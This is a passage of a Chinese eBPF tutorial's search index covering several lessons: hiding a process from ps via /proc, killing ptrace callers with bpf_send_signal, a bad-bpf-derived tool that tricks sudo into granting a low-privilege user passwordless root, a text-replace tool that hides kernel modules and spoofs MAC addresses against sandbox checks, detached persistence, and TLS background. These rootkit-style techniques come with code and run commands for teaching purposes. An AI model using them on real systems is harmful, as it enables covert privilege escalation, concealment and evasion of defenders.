(err) { fprintf(stderr, \"Failed to load and verify BPF skeleton\\n\"); goto cleanup; } 最后，我们等待并处理由 eBPF 程序发送的事件。这个过程是通过调用 ring_buffer__poll 函数实现的。在这个过程中，我们每隔一段时间就检查一次环形缓冲区中是否有新的事件。如果有，我们就调用 handle_event 函数来处理这个事件。 printf(\"Successfully started!\\n\");\nprintf(\"Hiding PID %d\\n\", env.pid_to_hide);\nwhile (!exiting)\n{ err = ring_buffer__poll(rb, 100 /* timeout, ms */); /* Ctrl-C will cause -EINTR */ if (err == -EINTR) { err = 0; break; } if (err < 0) { printf(\"Error polling perf buffer: %d\\n\", err); break; }\n} handle_event 函数中，我们根据事件的内容打印了相应的消息。这个函数的参数包括一个上下文，事件的数据，以及数据的大小。我们首先将事件的数据转换为 event 结构体，然后根据 success 字段判断这个事件是否表示成功隐藏了一个进程，最后打 印相应的消息。 static int handle_event(void *ctx, void *data, size_t data_sz)\n{ const struct event *e = data; if (e->success) printf(\"Hid PID from program %d (%s)\\n\", e->pid, e->comm); else printf(\"Failed to hide PID from program %d (%s)\\n\", e->pid, e->comm); return 0;\n} 这段代码展示了如何在用户态使用 eBPF 程序来实现进程隐藏的功能。我们首先打开 eBPF 程序，然后设置我们想要隐藏的进程的 PID，再验证并加载 eBPF 程序，最后等待并处理由 eBPF 程序发送的事件。这个过程中，我们使用了 eBPF 提供的一些高级功能，如环形缓冲区和事件处理，这些功能使得我们能够在用户态方便地与内核态的 eBPF 程序进行交互。 完整源代码： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/24-hide 本文所示技术仅为概念验证，仅供学习使用，严禁用于不符合法律法规要求的场景。","breadcrumbs":"使用 eBPF 隐藏进程或文件信息 » 用户态 eBPF 程序实现","id":"180","title":"用户态 eBPF 程序实现"},"181":{"body":"首先，我们需要编译 eBPF 程序： make 然后，假设我们想要隐藏进程 ID 为 1534 的进程，可以运行如下命令： sudo ./pidhide --pid-to-hide 1534 这条命令将使所有尝试读取 /proc/ 目录的操作都无法看到 PID 为 1534 的进程。例如，我们可以选择一个进程进行隐藏： $ ps -aux | grep 1534\nyunwei 1534 0.0 0.0 244540 6848 ? Ssl 6月02 0:00 /usr/libexec/gvfs-mtp-volume-monitor\nyunwei 32065 0.0 0.0 17712 2580 pts/1 S+ 05:43 0:00 grep --color=auto 1534 此时通过 ps 命令可以看到进程 ID 为 1534 的进程。但是，如果我们运行 sudo ./pidhide --pid-to-hide 1534，再次运行 ps -aux | grep 1534，就会发现进程 ID 为 1534 的进程已经不见了。 $ sudo ./pidhide --pid-to-hide 1534\nHiding PID 1534\nHid PID from program 31529 (ps)\nHid PID from program 31551 (ps)\nHid PID from program 31560 (ps)\nHid PID from program 31582 (ps)\nHid PID from program 31582 (ps)\nHid PID from program 31585 (bash)\nHid PID from program 31585 (bash)\nHid PID from program 31609 (bash)\nHid PID from program 31640 (ps)\nHid PID from program 31649 (ps) 这个程序将匹配这个 pid 的进程隐藏，使得像 ps 这样的工具无法看到，我们可以通过 ps aux | grep 1534 来验证。 $ ps -aux | grep 1534\nroot 31523 0.1 0.0 22004 5616 pts/2 S+ 05:42 0:00 sudo ./pidhide -p 1534\nroot 31524 0.0 0.0 22004 812 pts/3 Ss 05:42 0:00 sudo ./pidhide -p 1534\nroot 31525 0.3 0.0 3808 2456 pts/3 S+ 05:42 0:00 ./pidhide -p 1534\nyunwei 31583 0.0 0.0 17712 2612 pts/1 S+ 05:42 0:00 grep --color=auto 1534","breadcrumbs":"使用 eBPF 隐藏进程或文件信息 » 编译运行，隐藏 PID","id":"181","title":"编译运行，隐藏 PID"},"182":{"body":"通过本篇 eBPF 入门实践教程，我们深入了解了如何使用 eBPF 来隐藏进程或文件信息。我们学习了如何编写和加载 eBPF 程序，如何通过 eBPF 拦截系统调用并修改它们的行为，以及如何将这些知识应用到实际的网络安全和防御工作中。此外，我们也了解了 eBPF 的强大性，尤其是它能在不需要修改内核源代码或重启内核的情况下，允许用户在内核中执行自定义代码的能力。 您还可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"使用 eBPF 隐藏进程或文件信息 » 总结","id":"182","title":"总结"},"183":{"body":"eBPF (扩展的伯克利数据包过滤器) 是 Linux 内核的一种革命性技术，允许用户在内核空间执行自定义程序，而不需要修改内核源代码或加载任何内核模块。这使得开发人员可以非常灵活地对 Linux 系统进行观测、修改和控制。 本文介绍了如何使用 eBPF 的 bpf_send_signal 功能，向指定的进程发送信号进行干预。更多的教程文档，请参考 https://github.com/eunomia-bpf/bpf-developer-tutorial","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » eBPF 入门实践教程：用 bpf_send_signal 发送信号终止恶意进程","id":"183","title":"eBPF 入门实践教程：用 bpf_send_signal 发送信号终止恶意进程"},"184":{"body":"1. 性能分析: 在现代软件生态系统中，优化应用程序的性能是开发人员和系统管理员的一个核心任务。当应用程序，如 hhvm，出现运行缓慢或资源利用率异常高时，它可能会对整个系统产生不利影响。因此，定位这些性能瓶颈并及时解决是至关重要的。 2. 异常检测与响应: 任何运行在生产环境中的系统都可能面临各种异常情况，从简单的资源泄露到复杂的恶意软件攻击。在这些情况下，系统需要能够迅速、准确地检测到这些异常，并采取适当的应对措施。 3. 动态系统管理: 随着云计算和微服务架构的普及，能够根据当前系统状态动态调整资源配置和应用行为已经成为了一个关键需求。例如，根据流量波动自动扩容或缩容，或者在检测到系统过热时降低 CPU 频率。","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » 使用场景","id":"184","title":"使用场景"},"185":{"body":"为了满足上述使用场景的需求，传统的技术方法如下： 安装一个 bpf 程序，该程序会持续监视系统，同时对一个 map 进行轮询。 当某个事件触发了 bpf 程序中定义的特定条件时，它会将相关数据写入此 map。 接着，外部分析工具会从该 map 中读取数据，并根据读取到的信息向目标进程发送信号。 尽管这种方法在很多场景中都是可行的，但它存在一个主要的缺陷：从事件发生到外部工具响应的时间延迟可能相对较大。这种延迟可能会影响到事件的响应速度，从而使得性能分析的结果不准确或者在面对恶意活动时无法及时作出反应。","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » 现有方案的不足","id":"185","title":"现有方案的不足"},"186":{"body":"为了克服传统方法的这些限制，Linux 内核提供了 bpf_send_signal 和 bpf_send_signal_thread 这两个 helper 函数。 这两个函数带来的主要优势包括： 1. 实时响应: 通过直接从内核空间发送信号，避免了用户空间的额外开销，这确保了信号能够在事件发生后立即被发送，大大减少了延迟。 2. 准确性: 得益于减少的延迟，现在我们可以获得更准确的系统状态快照，这对于性能分析和异常检测尤其重要。 3. 灵活性: 这些新的 helper 函数为开发人员提供了更多的灵活性，他们可以根据不同的使用场景和需求来自定义信号的发送逻辑，从而更精确地控制和管理系统行为。","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » 新方案的优势","id":"186","title":"新方案的优势"},"187":{"body":"在现代操作系统中，一种常见的安全策略是监控和控制进程之间的交互。尤其在Linux系统中，ptrace 系统调用是一个强大的工具，它允许一个进程观察和控制另一个进程的执行，并修改其寄存器和内存。这使得它成为了调试和跟踪工具（如 strace 和 gdb）的主要机制。然而，恶意的 ptrace 使用也可能导致安全隐患。 这个程序的目标是在内核态监控 ptrace 的调用，当满足特定的条件时，它会发送一个 SIGKILL 信号终止调用进程。此外，为了调试或审计目的，该程序会记录这种干预并将相关信息发送到用户空间。","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » 内核态代码分析","id":"187","title":"内核态代码分析"},"188":{"body":"","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » 代码分析","id":"188","title":"代码分析"},"189":{"body":"signal.h // Simple message structure to get events from eBPF Programs\n// in the kernel to user spcae\n#define TASK_COMM_LEN 16\nstruct event { int pid; char comm[TASK_COMM_LEN]; bool success;\n}; 这部分定义了一个简单的消息结构，用于从内核的 eBPF 程序传递事件到用户空间。结构包括进程ID、命令名和一个标记是否成功发送信号的布尔值。","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » 1. 数据结构定义 (signal.h)","id":"189","title":"1. 数据结构定义 (signal.h)"},"19":{"body":"跟踪点（tracepoints）是内核静态插桩技术，在技术上只是放置在内核源代码中的跟踪函数，实际上就是在源码中插入的一些带有控制条件的探测点，这些探测点允许事后再添加处理函数。比如在内核中，最常见的静态跟踪方法就是 printk，即输出日志。又比如：在系统调用、调度程序事件、文件系统操作和磁盘 I/O 的开始和结束时都有跟踪点。跟踪点于 2009 年在 Linux 2.6.32 版本中首次提供。跟踪点是一种稳定的 API，数量有限。","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » tracepoints","id":"19","title":"tracepoints"},"190":{"body":"signal.bpf.c // SPDX-License-Identifier: BSD-3-Clause\n#include \"vmlinux.h\"\n#include \n#include \n#include \n#include \"common.h\" char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; // Ringbuffer Map to pass messages from kernel to user\nstruct { __uint(type, BPF_MAP_TYPE_RINGBUF); __uint(max_entries, 256 * 1024);\n} rb SEC(\".maps\"); // Optional Target Parent PID\nconst volatile int target_ppid = 0; SEC(\"tp/syscalls/sys_enter_ptrace\")\nint bpf_dos(struct trace_event_raw_sys_enter *ctx)\n{ long ret = 0; size_t pid_tgid = bpf_get_current_pid_tgid(); int pid = pid_tgid >> 32; // if target_ppid is 0 then we target all pids if (target_ppid != 0) { struct task_struct *task = (struct task_struct *)bpf_get_current_task(); int ppid = BPF_CORE_READ(task, real_parent, tgid); if (ppid != target_ppid) { return 0; } } // Send signal. 9 == SIGKILL ret = bpf_send_signal(9); // Log event struct event *e; e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); if (e) { e->success = (ret == 0); e->pid = pid; bpf_get_current_comm(&e->comm, sizeof(e->comm)); bpf_ringbuf_submit(e, 0); } return 0;\n} 许可证声明 声明了程序的许可证为 \"Dual BSD/GPL\"，这是为了满足 Linux 内核对 eBPF 程序的许可要求。 Ringbuffer Map 这是一个 ring buffer 类型的 map，允许 eBPF 程序在内核空间产生的消息被用户空间程序高效地读取。 目标父进程ID target_ppid 是一个可选的父进程ID，用于限制哪些进程受到影响。如果它被设置为非零值，只有与其匹配的进程才会被目标。 主函数 bpf_dos 进程检查 程序首先获取当前进程的ID。如果设置了 target_ppid，它还会获取当前进程的父进程ID并进行比较。如果两者不匹配，则直接返回。 发送信号 使用 bpf_send_signal(9) 来发送 SIGKILL 信号。这将终止调用 ptrace 的进程。 记录事件 使用 ring buffer map 记录这个事件。这包括了是否成功发送信号、进程ID以及进程的命令名。 总结：这个 eBPF 程序提供了一个方法，允许系统管理员或安全团队在内核级别监控和干预 ptrace 调用，提供了一个对抗潜在恶意活动或误操作的额外层次。","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » 2. eBPF 程序 (signal.bpf.c)","id":"190","title":"2. eBPF 程序 (signal.bpf.c)"},"191":{"body":"eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 编译： ./ecc signal.bpf.c signal.h 使用方式： $ sudo ./ecli package.json 这个程序会对任何试图使用 ptrace 系统调用的程序，例如 strace，发出 SIG_KILL 信号。 一旦 eBPF 程序开始运行，你可以通过运行以下命令进行测试： $ strace /bin/whoami\nKilled 原先的 console 中会输出： INFO [bpf_loader_lib::skeleton] Running ebpf program...\nTIME PID COMM SUCCESS 13:54:45 8857 strace true 完整的源代码可以参考： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/25-signal","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » 编译运行","id":"191","title":"编译运行"},"192":{"body":"通过这个实例，我们深入了解了如何将 eBPF 程序与用户态程序相结合，实现对系统调用的监控和干预。eBPF 提供了一种在内核空间执行程序的机制，这种技术不仅限于监控，还可用于性能优化、安全防御、系统诊断等多种场景。对于开发者来说，这为Linux系统的性能调优和故障排查提供了一种强大且灵活的工具。 最后，如果您对 eBPF 技术感兴趣，并希望进一步了解和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 和教程网站 https://eunomia.dev/zh/tutorials/。","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » 总结","id":"192","title":"总结"},"193":{"body":"https://github.com/pathtofile/bad-bpf https://www.mail-archive.com/netdev@vger.kernel.org/msg296358.html","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » 参考资料","id":"193","title":"参考资料"},"194":{"body":"编译： make 使用方式： sudo ./sudoadd --username lowpriv-user 这个程序允许一个通常权限较低的用户使用 sudo 成为 root。 它通过拦截 sudo 读取 /etc/sudoers 文件，并将第一行覆盖为  ALL=(ALL:ALL) NOPASSWD:ALL # 的方式工作。这欺骗了 sudo，使其认为用户被允许成为 root。其他程序如 cat 或 sudoedit 不受影响，所以对于这些程序来说，文件未改变，用户并没有这些权限。行尾的 # 确保行的其余部分被当作注释处理，因此不会破坏文件的逻辑。","breadcrumbs":"使用 eBPF 添加 sudo 用户 » 使用 eBPF 添加 sudo 用户","id":"194","title":"使用 eBPF 添加 sudo 用户"},"195":{"body":"https://github.com/pathtofile/bad-bpf","breadcrumbs":"使用 eBPF 添加 sudo 用户 » 参考资料","id":"195","title":"参考资料"},"196":{"body":"编译： make 使用方式： sudo ./replace --filename /path/to/file --input foo --replace bar 这个程序将文件中所有与 input 匹配的文本替换为 replace 文本。 这有很多用途，例如： 隐藏内核模块 joydev，避免被如 lsmod 这样的工具发现： ./replace -f /proc/modules -i 'joydev' -r 'cryptd' 伪造 eth0 接口的 MAC 地址： ./replace -f /sys/class/net/eth0/address -i '00:15:5d:01:ca:05' -r '00:00:00:00:00:00' 恶意软件进行反沙箱检查可能会检查 MAC 地址，寻找是否正在虚拟机或沙箱内运行，而不是在“真实”的机器上运行的迹象。 注意： input 和 replace 的长度必须相同，以避免在文本块的中间添加 NULL 字符。在 bash 提示符下输入换行符，使用 $'\\n'，例如 --replace $'text\\n'。","breadcrumbs":"使用 eBPF 替换任意程序读取或写入的文本 » 使用 eBPF 替换任意程序读取或写入的文本","id":"196","title":"使用 eBPF 替换任意程序读取或写入的文本"},"197":{"body":"https://github.com/pathtofile/bad-bpf","breadcrumbs":"使用 eBPF 替换任意程序读取或写入的文本 » 参考资料","id":"197","title":"参考资料"},"198":{"body":"通过使用 detach 的方式运行 eBPF 程序，用户空间加载器可以退出，而不会停止 eBPF 程序。","breadcrumbs":"BPF的生命周期：使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序 » 在用户态应用退出后运行 eBPF 程序：eBPF 程序的生命周期","id":"198","title":"在用户态应用退出后运行 eBPF 程序：eBPF 程序的生命周期"},"199":{"body":"首先，我们需要了解一些关键的概念，如 BPF 对象（包括程序，地图和调试信息），文件描述符 (FD)，引用计数（refcnt）等。在 eBPF 系统中，用户空间通过文件描述符访问 BPF 对象，而每个对象都有一个引用计数。当一个对象被创建时，其引用计数初始为1。如果该对象不再被使用（即没有其他程序或文件描述符引用它），它的引用计数将降至0，并在 RCU 宽限期后被内存清理。 接下来，我们需要了解 eBPF 程序的生命周期。首先，当你创建一个 BPF 程序，并将它连接到某个“钩子”（例如网络接口，系统调用等），它的引用计数会增加。然后，即使原始创建和加载该程序的用户空间进程退出，只要 BPF 程序的引用计数大于 0，它就会保持活动状态。然而，这个过程中有一个重要的点是：不是所有的钩子都是相等的。有些钩子是全局的，比如 XDP、tc's clsact 和 cgroup-based 钩子。这些全局钩子会一直保持 BPF 程序的活动状态，直到这些对象自身消失。而有些钩子是局部的，只在拥有它们的进程存活期间运行。 对于 BPF 对象（程序或映射）的生命周期管理，另一个关键的操作是“分离”（detach）。这个操作会阻止已附加程序的任何未来执行。然后，对于需要替换 BPF 程序的情况，你可以使用替换（replace）操作。这是一个复杂的过程，因为你需要确保在替换过程中，不会丢失正在处理的事件，而且新旧程序可能在不同的 CPU 上同时运行。 最后，除了通过文件描述符和引用计数来管理 BPF 对象的生命周期，还有一个叫做 BPFFS 的方法，也就是“BPF 文件系统”。用户空间进程可以在 BPFFS 中“固定”（pin）一个 BPF 程序或映射，这将增加对象的引用计数，使得即使 BPF 程序未附加到任何地方或 BPF 映射未被任何程序使用，该 BPF 对象也将保持活动状态。 所以，当我们谈论在后台运行 eBPF 程序时，我们需要清楚这个过程的含义。在某些情况下，即使用户空间进程已经退出，我们可能还希望 BPF 程序保持运行。这就需要我们正确地管理 BPF 对象的生命周期","breadcrumbs":"BPF的生命周期：使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序 » eBPF 程序的生命周期","id":"199","title":"eBPF 程序的生命周期"},"2":{"body":"对于浏览器而言，JavaScript 的引入带来的可编程性开启了一场巨大的革命，使浏览器发展成为几乎独立的操作系统。现在让我们回到 eBPF：为了理解 eBPF 对 Linux 内核的可编程性影响，对 Linux 内核的结构以及它如何与应用程序和硬件进行交互有一个高层次的理解是有帮助的[4]。 kernel-arch Linux 内核的主要目的是抽象出硬件或虚拟硬件，并提供一个一致的API（系统调用），允许应用程序运行和共享资源。为了实现这个目的，我们维护了一系列子系统和层，以分配这些责任[5]。每个子系统通常允许某种程度的配置，以考虑到用户的不同需求。如果不能配置所需的行为，就需要改变内核，从历史上看，改变内核的行为，或者让用户编写的程序能够在内核中运行，就有两种选择: 本地支持内核模块 写一个内核模块 改变内核源代码，并说服Linux内核社区相信这种改变是必要的。等待几年，让新的内核版本成为一种商品。 定期修复它，因为每个内核版本都可能破坏它。由于缺乏安全边界，冒着破坏你的Linux内核的风险 实际上，两种方案都不常用，前者成本太高，后者则几乎没有可移植性。 有了 eBPF，就有了一个新的选择，可以重新编程 Linux 内核的行为，而不需要改变内核的源代码或加载内核模块，同时保证在不同内核版本之间一定程度上的行为一致性和兼容性、以及安全性[6]。为了实现这个目的，eBPF 程序也需要有一套对应的 API，允许用户定义的应用程序运行和共享资源 --- 换句话说，某种意义上讲 eBPF 虚拟机也提供了一套类似于系统调用的机制，借助 eBPF 和用户态通信的机制，Wasm 虚拟机和用户态应用也可以获得这套“系统调用”的完整使用权，一方面能可编程地扩展传统的系统调用的能力，另一方面能在网络、文件系统等许多层次实现更高效的可编程 IO 处理。 new-os 正如上图所示，当今的 Linux 内核正在向一个新的内核模型演化：用户定义的应用程序可以在内核态和用户态同时执行，用户态通过传统的系统调用访问系统资源，内核态则通过 BPF Helper Calls 和系统的各个部分完成交互。截止 2023 年初，内核中的 eBPF 虚拟机中已经有 220 多个Helper 系统接口，涵盖了非常多的应用场景。 值得注意的是，BPF Helper Call 和系统调用二者并不是竞争关系，它们的编程模型和有性能优势的场景完全不同，也不会完全替代对方。对 Wasm 和 Wasi 相关生态来说，情况也类似，专门设计的 wasi 接口需要经历一个漫长的标准化过程，但可能在特定场景能为用户态应用获取更佳的性能和可移植性保证，而 eBPF 在保证沙箱本质和可移植性的前提下，可以提供一个快速灵活的扩展系统接口的方案。 目前的 eBPF 仍然处于早期阶段，但是借助当前 eBPF 提供的内核接口和用户态交互的能力，经由 Wasm-bpf 的系统接口转换，Wasm 虚拟机中的应用已经几乎有能力获取内核以及用户态任意一个函数调用的数据和返回值（kprobe，uprobe...）；以很低的代价收集和理解所有系统调用，并获取所有网络操作的数据包和套接字级别的数据（tracepoint，socket...）；在网络包处理解决方案中添加额外的协议分析器，并轻松地编程任何转发逻辑（XDP，TC...），以满足不断变化的需求，而无需离开Linux内核的数据包处理环境。 不仅如此，eBPF 还有能力往用户空间任意进程的任意地址写入数据（bpf_probe_write_user[7]），有限度地修改内核函数的返回值（bpf_override_return[8]），甚至在内核态直接执行某些系统调用[9]；所幸的是，eBPF 在加载进内核之前对字节码会进行严格的安全检查，确保没有内存越界等操作，同时，许多可能会扩大攻击面、带来安全风险的功能都是需要在编译内核时明确选择启用才能使用的；在 Wasm 虚拟机将字节码加载进内核之前，也可以明确选择启用或者禁用某些 eBPF 功能，以确保沙箱的安全性。","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » eBPF 的未来：内核的 JavaScript 可编程接口","id":"2","title":"eBPF 的未来：内核的 JavaScript 可编程接口"},"20":{"body":"面对创建一个 eBPF 项目，您是否对如何开始搭建环境以及选择编程语言感到困惑？别担心，我们为您准备了一系列 GitHub 模板，以便您快速启动一个全新的eBPF项目。只需在GitHub上点击 Use this template 按钮，即可开始使用。 https://github.com/eunomia-bpf/libbpf-starter-template ：基于C语言和 libbpf 框架的eBPF项目模板 https://github.com/eunomia-bpf/cilium-ebpf-starter-template ：基于C语言和cilium/ebpf框架的eBPF项目模板 https://github.com/eunomia-bpf/libbpf-rs-starter-template ：基于Rust语言和libbpf-rs框架的eBPF项目模板 https://github.com/eunomia-bpf/eunomia-template ：基于C语言和eunomia-bpf框架的eBPF项目模板 这些启动模板包含以下功能： 一个 Makefile，让您可以一键构建项目 一个 Dockerfile，用于为您的 eBPF 项目自动创建一个容器化环境并发布到 Github Packages GitHub Actions，用于自动化构建、测试和发布流程 eBPF 开发所需的所有依赖项 通过将现有仓库设置为模板，您和其他人可以快速生成具有相同基础结构的新仓库，从而省去了手动创建和配置的繁琐过程。借助 GitHub 模板仓库，开发者可以专注于项目的核心功能和逻辑，而无需为基础设置和结构浪费时间。更多关于模板仓库的信息，请参阅官方文档： https://docs.github.com/en/repositories/creating-and-managing-repositories/creating-a-template-repository","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » GitHub 模板：轻松构建 eBPF 项目和开发环境","id":"20","title":"GitHub 模板：轻松构建 eBPF 项目和开发环境"},"200":{"body":"这里还是采用了上一个的字符串替换的应用，来体现对应可能的安全风险。通过使用 --detach 运行程序，用户空间加载器可以退出，而不会停止 eBPF 程序。 编译： make 在运行前，请首先确保 bpf 文件系统已经被挂载： sudo mount bpffs -t bpf /sys/fs/bpf\nmkdir /sys/fs/bpf/textreplace 然后，你可以分离运行 text-replace2： ./textreplace2 -f /proc/modules -i 'joydev' -r 'cryptd' -d 这将在 /sys/fs/bpf/textreplace 下创建一些 eBPF 链接文件。 一旦加载器成功运行，你可以通过运行以下命令检查日志： sudo cat /sys/kernel/debug/tracing/trace_pipe\n# 确认链接文件存在\nsudo ls -l /sys/fs/bpf/textreplace 然后，要停止，只需删除链接文件即可： sudo rm -r /sys/fs/bpf/textreplace","breadcrumbs":"BPF的生命周期：使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序 » 运行","id":"200","title":"运行"},"201":{"body":"https://github.com/pathtofile/bad-bpf https://facebookmicrosites.github.io/bpf/blog/2018/08/31/object-lifetime.html","breadcrumbs":"BPF的生命周期：使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序 » 参考资料","id":"201","title":"参考资料"},"202":{"body":"随着TLS在现代网络环境中的广泛应用，跟踪微服务RPC消息已经变得愈加棘手。传统的流量嗅探技术常常受限于只能获取到加密后的数据，导致无法真正观察到通信的原始内容。这种限制为系统的调试和分析带来了不小的障碍。 但现在，我们有了新的解决方案。使用 eBPF 技术，通过其能力在用户空间进行探测，提供了一种方法重新获得明文数据，使得我们可以直观地查看加密前的通信内容。然而，每个应用可能使用不同的库，每个库都有多个版本，这种多样性给跟踪带来了复杂性。 在本教程中，我们将带您了解一种跨多种用户态 SSL/TLS 库的 eBPF 追踪技术，它不仅可以同时跟踪 GnuTLS 和 OpenSSL 等用户态库，而且相比以往，大大降低了对新版本库的维护工作。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » eBPF 实践教程：使用 uprobe 捕获多种库的 SSL/TLS 明文数据","id":"202","title":"eBPF 实践教程：使用 uprobe 捕获多种库的 SSL/TLS 明文数据"},"203":{"body":"在深入本教程的主题之前，我们需要理解一些核心概念，这些概念将为我们后面的讨论提供基础。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 背景知识","id":"203","title":"背景知识"},"204":{"body":"SSL (Secure Sockets Layer): 由 Netscape 在 1990 年代早期开发，为网络上的两台机器之间提供数据加密传输。然而，由于某些已知的安全问题，SSL的使用已被其后继者TLS所替代。 TLS (Transport Layer Security): 是 SSL 的继任者，旨在提供更强大和更安全的数据加密方式。TLS 工作通过一个握手过程，在这个过程中，客户端和服务器之间会选择一个加密算法和相应的密钥。一旦握手完成，数据传输开始，所有数据都使用选择的算法和密钥加密。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » SSL 和 TLS","id":"204","title":"SSL 和 TLS"},"205":{"body":"Transport Layer Security (TLS) 是一个密码学协议，旨在为计算机网络上的通信提供安全性。它主要目标是通过密码学，例如证书的使用，为两个或更多通信的计算机应用程序提供安全性，包括隐私（机密性）、完整性和真实性。TLS 由两个子层组成：TLS 记录协议和TLS 握手协议。 握手过程 当客户端与启用了TLS的服务器连接并请求建立安全连接时，握手过程开始。握手允许客户端和服务器通过不对称密码来建立连接的安全性参数，完整流程如下： 初始握手 ：客户端连接到启用了TLS的服务器，请求安全连接，并提供它支持的密码套件列表（加密算法和哈希函数）。 选择密码套件 ：从提供的列表中，服务器选择它也支持的密码套件和哈希函数，并通知客户端已做出的决定。 提供数字证书 ：通常，服务器接下来会提供形式为数字证书的身份验证。此证书包含服务器名称、信任的证书授权机构（为证书的真实性提供担保）以及服务器的公共加密密钥。 验证证书 ：客户端在继续之前确认证书的有效性。 生成会话密钥 ：为了生成用于安全连接的会话密钥，客户端有以下两种方法： 使用服务器的公钥加密一个随机数（PreMasterSecret）并将结果发送到服务器（只有服务器才能使用其私钥解密）；双方然后使用该随机数生成一个独特的会话密钥，用于会话期间的数据加密和解密。 使用 Diffie-Hellman 密钥交换（或其变体椭圆曲线DH）来安全地生成一个随机且独特的会话密钥，用于加密和解密，该密钥具有前向保密的额外属性：即使在未来公开了服务器的私钥，也不能用它来解密当前的会话，即使第三方拦截并记录了会话。 一旦上述步骤成功完成，握手过程便结束，加密的连接开始。此连接使用会话密钥进行加密和解密，直到连接关闭。如果上述任何步骤失败，则TLS握手失败，连接将不会建立。 OSI模型中的TLS TLS 和 SSL 不完全适合 OSI 模型或 TCP/IP 模型的任何单一层次。TLS 在“某些可靠的传输协议（例如，TCP）之上运行”，这意味着它位于传输层之上。它为更高的层提供加密，这通常是表示层的功能。但是，使用TLS 的应用程序通常视其为传输层，即使使用TLS的应用程序必须积极控制启动 TLS 握手和交换的认证证书的处理。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » TLS 的工作原理","id":"205","title":"TLS 的工作原理"},"206":{"body":"eBPF (Extended Berkeley Packet Filter): 是一种内核技术，允许用户在内核空间中运行预定义的程序，不需要修改内核源代码或重新加载模块。它创建了一个桥梁，使得用户空间和内核空间可以交互，从而为系统监控、性能分析和网络流量分析等任务提供了无前例的能力。 uprobes 是eBPF的一个重要特性，允许我们在用户空间应用程序中动态地插入探测点，特别适用于跟踪SSL/TLS库中的函数调用。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » eBPF 和 uprobe","id":"206","title":"eBPF 和 uprobe"},"207":{"body":"SSL/TLS协议的实现主要依赖于用户态库。以下是一些常见的库： OpenSSL: 一个开源的、功能齐全的加密库，广泛应用于许多开源和商业项目中。 BoringSSL: 是Google维护的OpenSSL的一个分支，重点是简化和优化，适用于Google的需求。 GnuTLS: 是GNU项目的一部分，提供了SSL，TLS和DTLS协议的实现。与OpenSSL和BoringSSL相比，GnuTLS在API设计、模块结构和许可证上有所不同。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 用户态库","id":"207","title":"用户态库"},"208":{"body":"OpenSSL 是一个广泛应用的开源库，提供了 SSL 和 TLS 协议的完整实现，并广泛用于各种应用程序中以确保数据传输的安全性。其中，SSL_read() 和 SSL_write() 是两个核心的 API 函数，用于从 TLS/SSL 连接中读取和写入数据。本章节，我们将深入这两个函数，帮助你理解其工作机制。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » OpenSSL API 分析","id":"208","title":"OpenSSL API 分析"},"209":{"body":"当我们想从一个已建立的 SSL 连接中读取数据时，可以使用 SSL_read 或 SSL_read_ex 函数。函数原型如下： int SSL_read_ex(SSL *ssl, void *buf, size_t num, size_t *readbytes);\nint SSL_read(SSL *ssl, void *buf, int num); SSL_read 和 SSL_read_ex 试图从指定的 ssl 中读取最多 num 字节的数据到缓冲区 buf 中。成功时，SSL_read_ex 会在 *readbytes 中存储实际读取到的字节数。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 1. SSL_read 函数","id":"209","title":"1. SSL_read 函数"},"21":{"body":"eBPF 程序的开发和使用流程可以概括为如下几个步骤： 定义 eBPF 程序的接口和类型：这包括定义 eBPF 程序的接口函数，定义和实现 eBPF 内核映射（maps）和共享内存（perf events），以及定义和使用 eBPF 内核帮助函数（helpers）。 编写 eBPF 程序的代码：这包括编写 eBPF 程序的主要逻辑，实现 eBPF 内核映射的读写操作，以及使用 eBPF 内核帮助函数。 编译 eBPF 程序：这包括使用 eBPF 编译器（例如 clang）将 eBPF 程序代码编译为 eBPF 字节码，并生成可执行的 eBPF 内核模块。ecc 本质上也是调用 clang 编译器来编译 eBPF 程序。 加载 eBPF 程序到内核：这包括将编译好的 eBPF 内核模块加载到 Linux 内核中，并将 eBPF 程序附加到指定的内核事件上。 使用 eBPF 程序：这包括监测 eBPF 程序的运行情况，并使用 eBPF 内核映射和共享内存进行数据交换和共享。 在实际开发中，还可能需要进行其他的步骤，例如配置编译和加载参数，管理 eBPF 